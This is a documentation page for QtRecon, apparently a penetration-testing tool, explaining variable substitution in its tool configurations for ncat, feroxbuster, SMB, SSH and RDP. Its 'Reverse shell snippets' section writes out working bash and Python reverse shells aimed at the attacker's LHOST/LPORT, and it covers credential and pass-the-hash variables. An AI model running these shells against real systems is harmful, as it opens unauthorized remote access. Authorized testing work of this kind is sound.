Variables

QtRecon supports dynamic variable substitution in tool arguments, allowing you to create flexible tool configurations that adapt to the current reconnaissance context.

How variables work

Variables use the %%%VARIABLE_NAME%%% syntax in tool argument definitions. When a tool is launched, QtRecon automatically replaces these placeholders with actual values from the current context.

Example

"netcat": {
  "name": "Netcat",
  "binary": "/usr/bin/ncat",
  "args": ["-nv", "%%%IP%%%", "%%%PORT%%%"]
}

When launched against 192.168.1.100:80, this becomes:

/usr/bin/ncat -nv 192.168.1.100 80

Built-in variables

QtRecon provides several built-in variables that are automatically populated based on the scan context.

Network variables

%%%IP%%%

string

The target IP address being scannedExample: 192.168.1.100

%%%PORT%%%

string

The specific port number for the current contextExample: 443

%%%PROTO%%%

string

The protocol (automatically determined based on port)Values: http or httpsExample: https for port 443

%%%HOSTNAME%%%

string

The hostname of the target (if resolved)Example: webserver.example.com

Authentication variables

%%%USERNAME%%%

string

Username for authenticated operationsExample: administrator

%%%PASSWORD%%%

string

Password for authenticated operationsExample: P@ssw0rd123

%%%HASH%%%

string

Password hash for pass-the-hash attacksExample: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

%%%SSH_KEY%%%

string

Path to SSH private key fileExample: /home/user/.ssh/id_rsa

%%%DOMAIN%%%

string

Domain name for Active Directory environmentsExample: CORP

Attacker variables

%%%LHOST%%%

string

Local host IP address (attacker machine)Automatically determined from preferred_interfaces in user_prefsExample: 10.10.14.5

%%%LPORT%%%

string

Local port for reverse connectionsDefaults to value in user_prefs.preferred_lportExample: 8444

Custom variables

Define your own variables in the user_variables section of the configuration file:

"user_variables": {
  "XFREERDP_KEYBOARD": "0x0000040C",
  "WORDLIST_DIR": "/usr/share/wordlists",
  "CUSTOM_TIMEOUT": "30"
}

Then reference them in tool configurations:

"xfreerdp": {
  "name": "xfreerdp",
  "binary": "/usr/bin/xfreerdp",
  "args": [
    "/v:%%%IP%%%",
    "/kbd:%%%XFREERDP_KEYBOARD%%%"
  ]
}

Custom variable example: Keyboard layout

The XFREERDP_KEYBOARD variable is particularly useful for RDP connections:

"user_variables": {
  "XFREERDP_KEYBOARD": "0x0000040C"
}

Common keyboard layouts:

0x00000409 - US English
0x0000040C - French
0x00000407 - German
0x00000809 - UK English
0x0000040A - Spanish

Variable usage examples

Web application testing

Combine multiple variables for comprehensive web scanning:

"feroxbuster": {
  "name": "feroxbuster",
  "binary": "/usr/bin/feroxbuster",
  "args": [
    "--url", "%%%PROTO%%%://%%%IP%%%:%%%PORT%%%/",
    "-w", "/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt"
  ]
}

Authenticated SMB enumeration

Use authentication variables for Windows enumeration:

"smb_script_authenticated": {
  "name": "SMB authenticated enum",
  "binary": "/bin/bash",
  "args": [
    "scripts/smb.sh",
    "%%%IP%%%",
    "%%%DOMAIN%%%",
    "%%%USERNAME%%%",
    "%%%PASSWORD%%%"
  ]
}

SSH with key authentication

"ssh_key": {
  "name": "SSH (key auth)",
  "binary": "/usr/bin/ssh",
  "in_terminal": true,
  "detached": true,
  "args": [
    "-i", "%%%SSH_KEY%%%",
    "%%%USERNAME%%%@%%%IP%%%"
  ]
}

RDP with credentials

"xfreerdp": {
  "name": "xfreerdp",
  "binary": "/usr/bin/xfreerdp",
  "detached": true,
  "args": [
    "/v:%%%IP%%%",
    "/d:%%%DOMAIN%%%",
    "/u:%%%USERNAME%%%",
    "/p:%%%PASSWORD%%%",
    "/cert:ignore",
    "/drive:tmp,/tmp",
    "/dynamic-resolution",
    "/kbd:%%%XFREERDP_KEYBOARD%%%"
  ]
}

Reverse shell snippets

Variables are also used in the snippets section:

bash -i >& /dev/tcp/%%%LHOST%%%/%%%LPORT%%% 0>&1

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%%%LHOST%%%",%%%LPORT%%%));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Configuring LHOST and LPORT

The %%%LHOST%%% and %%%LPORT%%% variables are configured through user_prefs:

"user_prefs": {
  "preferred_interfaces": ["tun0", "vpn0", "eth0"],
  "preferred_lport": 8444
}

preferred_interfaces

array

List of network interfaces in priority order. QtRecon uses the first available interface to determine %%%LHOST%%%.

preferred_lport

number

Default local port for reverse connections (%%%LPORT%%%).

Put VPN interfaces like tun0 first in preferred_interfaces to ensure reverse shells connect through your VPN during penetration tests.

Variable resolution behavior

Missing variables

If a variable cannot be resolved (e.g., %%%USERNAME%%% when no username is set), QtRecon typically:

Prompts you to enter the value before launching the tool
Or leaves the variable as-is if the tool has "edit_before_launch": true

Protocol auto-detection

%%%PROTO%%% is automatically determined:

Port 443, 8443: https
Port 80, 8080, 8000: http
Other ports: defaults to http

Variable case sensitivity

Variable names are case-sensitive. Use uppercase: %%%IP%%% not %%%ip%%%

Custom variable priority

Custom variables in user_variables can override built-in variables if they use the same name (not recommended).

Best practices

Use descriptive custom variable names

Choose clear, uppercase names for custom variables:

"SECLISTS_PATH": "/usr/share/wordlists/SecLists"

Validate tool commands manually

Before relying on variables, test the resulting command manually to ensure proper substitution:

# Test what QtRecon will execute
/usr/bin/ncat -nv 192.168.1.100 80

Document custom variables

Add comments (if your JSON parser supports them) or maintain separate documentation for custom variables.

Quote variables in shell scripts

When using variables in custom shell scripts, quote them to handle special characters:

#!/bin/bash
target="$1"  # %%%IP%%%
port="$2"    # %%%PORT%%%

Complete example

Here’s a tool configuration demonstrating multiple variable types:

"user_variables": {
  "XFREERDP_KEYBOARD": "0x0000040C",
  "RDP_RESOLUTION": "1920x1080"
},
"user_binaries": {
  "xfreerdp_full": {
    "name": "xfreerdp (full)",
    "text": "Connect to RDP with full options",
    "binary": "/usr/bin/xfreerdp",
    "detached": true,
    "args": [
      "/v:%%%IP%%%:%%%PORT%%%",
      "/d:%%%DOMAIN%%%",
      "/u:%%%USERNAME%%%",
      "/p:%%%PASSWORD%%%",
      "/cert:ignore",
      "/drive:shared,/tmp",
      "/size:%%%RDP_RESOLUTION%%%",
      "/kbd:%%%XFREERDP_KEYBOARD%%%",
      "+clipboard"
    ]
  }
}

How variables work

Example

Built-in variables

Network variables

Authentication variables

Attacker variables

Custom variables

Custom variable example: Keyboard layout

Variable usage examples

Web application testing

Authenticated SMB enumeration

SSH with key authentication

RDP with credentials

Reverse shell snippets

Configuring LHOST and LPORT

Variable resolution behavior

Best practices

Complete example

Next steps

Tool setup

Autorun rules

​How variables work

​Example

​Built-in variables

​Network variables

​Authentication variables

​Attacker variables

​Custom variables

​Custom variable example: Keyboard layout

​Variable usage examples

​Web application testing

​Authenticated SMB enumeration

​SSH with key authentication

​RDP with credentials

​Reverse shell snippets

​Configuring LHOST and LPORT

​Variable resolution behavior

​Best practices

​Complete example

​Next steps

Tool setup

Autorun rules

How variables work

Example

Built-in variables

Network variables

Authentication variables

Attacker variables

Custom variables

Custom variable example: Keyboard layout

Variable usage examples

Web application testing

Authenticated SMB enumeration

SSH with key authentication

RDP with credentials

Reverse shell snippets

Configuring LHOST and LPORT

Variable resolution behavior

Best practices

Complete example

Next steps